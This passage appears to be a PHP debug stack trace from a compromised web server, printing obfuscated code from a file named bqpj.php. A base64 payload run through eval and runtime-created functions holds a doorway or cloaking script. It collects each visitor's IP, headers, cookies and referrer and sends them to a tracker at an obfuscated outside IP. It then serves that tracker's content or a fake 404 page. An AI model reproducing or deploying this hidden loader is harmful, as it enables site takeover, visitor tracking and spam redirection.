CBhbHJlYWR5IHN0YXJ0ZWQiOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICIoeyRmaWxlfTp7JGxpbmV9KSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+bG9nKCRtc2cpOw0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmhlYWRlcnMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkcmVzdWx0LT5oZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigkaGVhZGVyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPnN0YXR1cykpIHsNCiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkcmVzdWx0LT5zdGF0dXMpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5jb250ZW50VHlwZSkpIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAnQ29udGVudC1UeXBlOiAnIC4gJHJlc3VsdC0+Y29udGVudFR5cGU7DQogICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJGhlYWRlcik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIHVwZGF0ZUhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE9mZmVyKCRwYXJhbXMgPSBhcnJheSgpLCAkZmFsbGJhY2sgPSAnbm9fb2ZmZXInKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkdG9rZW4gPSAkdGhpcy0+Z2V0VG9rZW4oKTsNCiAgICAgICAgaWYgKGVtcHR5KCR0b2tlbikpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2coJ0NhbXBhaWduIGhhc25cJ3QgcmV0dXJuZWQgb2ZmZXInKTsNCiAgICAgICAgICAgIHJldHVybiAkZmFsbGJhY2s7DQogICAgICAgIH0NCiAgICAgICAgJHBhcmFtc1snX2xwJ10gPSAxOw0KICAgICAgICAkcGFyYW1zWydfdG9rZW4nXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXMtPl9idWlsZE9mZmVyVXJsKCRwYXJhbXMpOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0JvdCgpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIGlmIChpc3NldCgkcmVzdWx0LT5pbmZvKSkgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPmlzX2JvdCkgPyAkcmVzdWx0LT5pbmZvLT5pc19ib3QgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1VuaXF1ZSgkbGV2ZWwgPSAnY2FtcGFpZ24nKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+aW5mbykgJiYgJHJlc3VsdC0+aW5mby0+dW5pcXVlbmVzcykgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPnVuaXF1ZW5lc3MtPiRsZXZlbCkgPyAkcmVzdWx0LT5pbmZvLT51bmlxdWVuZXNzLT4kbGV2ZWwgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIGZvcmNlQ2hvb3NlT2ZmZXIoKQ0KICAgIHsNCiAgICAgICAgdGhyb3cgbmV3IFxFcnJvcignZm9yY2VDaG9vc2VPZmZlciB3YXMgcmVtb3ZlZCBpbiBLQ2xpY2tDbGllbnQgdjMuJyk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldEJvZHkoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICByZXR1cm4gJHJlc3VsdC0+Ym9keTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVhZGVycygpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIHJldHVybiAkcmVzdWx0LT5oZWFkZXJzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3N0YXJ0U2Vzc2lvbigpDQogICAgew0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfYnVpbGRPZmZlclVybCgkcGFyYW1zID0gYXJyYXkoKSkNCiAgICB7DQogICAgICAgICRyZXF1ZXN0ID0gcGFyc2VfdXJsKCR0aGlzLT5fdHJhY2tlclVybCk7DQogICAgICAgICRsYXN0Q2hhciA9IHN1YnN0cigkcmVxdWVzdFsncGF0aCddLCAtMSk7DQogICAgICAgIGlmICgkbGFzdENoYXIgIT0gJy8nICYmICRsYXN0Q2hhciAhPSAnXFwnKSB7DQogICAgICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKGJhc2VuYW1lKCRyZXF1ZXN0WydwYXRoJ10pLCAnJywgJHJlcXVlc3RbJ3BhdGgnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0WydwYXRoJ107DQogICAgICAgIH0NCiAgICAgICAgJHBhdGggPSBsdHJpbSgkcGF0aCwgIlxcXC8iKTsNCiAgICAgICAgJHBhcmFtcyA9IGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcyk7DQogICAgICAgIHJldHVybiAieyRyZXF1ZXN0WydzY2hlbWUnXX06Ly97JHJlcXVlc3RbJ2hvc3QnXX0veyRwYXRofT97JHBhcmFtc30iOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0Q3VycmVudFBhZ2UoKQ0KICAgIHsNCiAgICAgICAgaWYgKChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gID09IDQ0MykgfHwgIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgew0KICAgICAgICAgICAgJHNjaGVtZSA9ICdodHRwcyc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkc2NoZW1lID0gJ2h0dHAnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkc2NoZW1lIC4gJzovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9idWlsZFJlcXVlc3RVcmwoKQ0KICAgIHsNCiAgICAgICAgJHJlcXVlc3QgPSBwYXJzZV91cmwoJHRoaXMtPl90cmFja2VyVXJsKTsNCiAgICAgICAgJHVybCA9ICJ7JHJlcXVlc3RbJ3NjaGVtZSddfTovL3skcmVxdWVzdFsnaG9zdCddfSI7DQogICAgICAgIGlmIChpc3NldCgkcmVxdWVzdFsncG9ydCddKSkgew0KICAgICAgICAgICAgJHVybCA9ICc6JyAuICRyZXF1ZXN0Wydwb3J0J107DQogICAgICAgIH0NCiAgICAgICAgJHVybCAuPSAiL3skcmVxdWVzdFsncGF0aCddfSI7DQogICAgICAgIHJldHVybiAkdXJsOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZmluZElwKCkNCiAgICB7DQogICAgICAgICRpcCA9IG51bGw7DQogICAgICAgICRoZWFkZXJzID0gYXJyYXkoDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLA0KICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnSFRUUF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRF9GT1JfSVAnLA0KICAgICAgICAgICAgJ1hfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnWF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdGT1JXQVJERURfRk9SX0lQJywNCiAgICAgICAgICAgICdIVFRQX1BST1hZX0NPTk5FQ1RJT04nKTsNCiAgICAgICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGhlYWRlcikgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlskaGVhZGVyXSkpIHsNCiAgICAgICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWyRoZWFkZXJdKTsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGlwLCAnLCcpKSB7DQogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRpcCk7DQogICAgICAgICAgICBpZiAoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtaW5pJykpIHsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbY291bnQoJHRtcCkgLSAyXSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRpcCA9IHRyaW0oJHRtcFswXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJGlwKSkgew0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGlwOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCkNCiAgICB7DQogICAgICAgIHJldHVybiB0aW1lKCkgKyA2MCAqIDYwICogJHR0bDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRDb29raWVIb3N0KCkNCiAgICB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pICYmIHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sICcuJykgPCAzKSB7DQogICAgICAgICAgICAkaG9zdCA9ICcuJyAuIHN0cl9yZXBsYWNlKCd3d3cuJywgJycsICRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkaG9zdCA9IG51bGw7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRob3N0Ow0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldFJlcXVlc3RPcHRpb25zKCkNCiAgICB7DQogICAgICAgICRvcHRzID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgew0KICAgICAgICAgICAgJG9wdHNbJ2Nvb2tpZXMnXSA9IHByZWdfcmVwbGFjZSgnL1BIUFNFU1NJRD0uKj87L3NpJywgJycsICRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkb3B0czsNCiAgICB9DQp9DQoNCmNsYXNzIEtIdHRwQ2xpZW50DQp7DQogICAgY29uc3QgVUEgPSAnS0h0dHBDbGllbnQnOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlcXVlc3QoJHVybCwgJHBhcmFtcywgJG9wdHMgPSBhcnJheSgpKQ0KICAgIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgaXNzZXQoJG9wdHNbJ2Nvb2tpZXMnXSkgPyAkb3B0c1snY29va2llcyddIDogbnVsbCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCBzZWxmOjpVQSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcykpOw0KICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGlmIChjdXJsX2Vycm9yKCRjaCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKGN1cmxfZXJyb3IoJGNoKSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKCdFbXB0eSByZXNwb25zZScpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCn0NCg0KY2xhc3MgS1RyYWZmaWNDbGllbnRFcnJvciBleHRlbmRzIFxFeGNlcHRpb24ge30NCg0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnaHR0cF9yZXNwb25zZV9jb2RlJykpIHsNCiAgICBmdW5jdGlvbiBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUgPSBOVUxMKSB7DQoNCiAgICAgICAgaWYgKCRjb2RlICE9PSBOVUxMKSB7DQoNCiAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0018531008__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0035666376eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if 